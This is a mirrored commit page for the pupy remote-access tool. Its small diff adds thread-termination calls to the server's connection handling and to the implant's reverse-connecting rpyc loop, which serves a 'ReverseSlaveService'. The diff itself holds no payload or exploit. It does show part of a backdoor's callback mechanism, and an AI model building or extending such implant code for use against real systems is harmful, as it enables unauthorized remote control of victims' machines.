mirror of https://github.com/n1nj4sec/pupy.git
Terminate connection waiter thread
This commit is contained in:
parent
64a9447ece
commit
6c8d2577c8
|
@ -123,6 +123,7 @@ class PupyTCPServer(ThreadPoolServer):
|
|||
pass
|
||||
finally:
|
||||
event.set()
|
||||
t.terminate()
|
||||
return c
|
||||
|
||||
class PupyUDPServer(object):
|
||||
|
|
|
@ -234,6 +234,8 @@ def rpyc_loop(launcher):
|
|||
conn=rpyc.utils.factory.connect_stream(stream, ReverseSlaveService, {})
|
||||
finally:
|
||||
event.set()
|
||||
t.terminate()
|
||||
|
||||
attempt=0
|
||||
conn.serve_all()
|
||||
except KeyboardInterrupt:
|
||||
|
|
Loading…
Reference in New Issue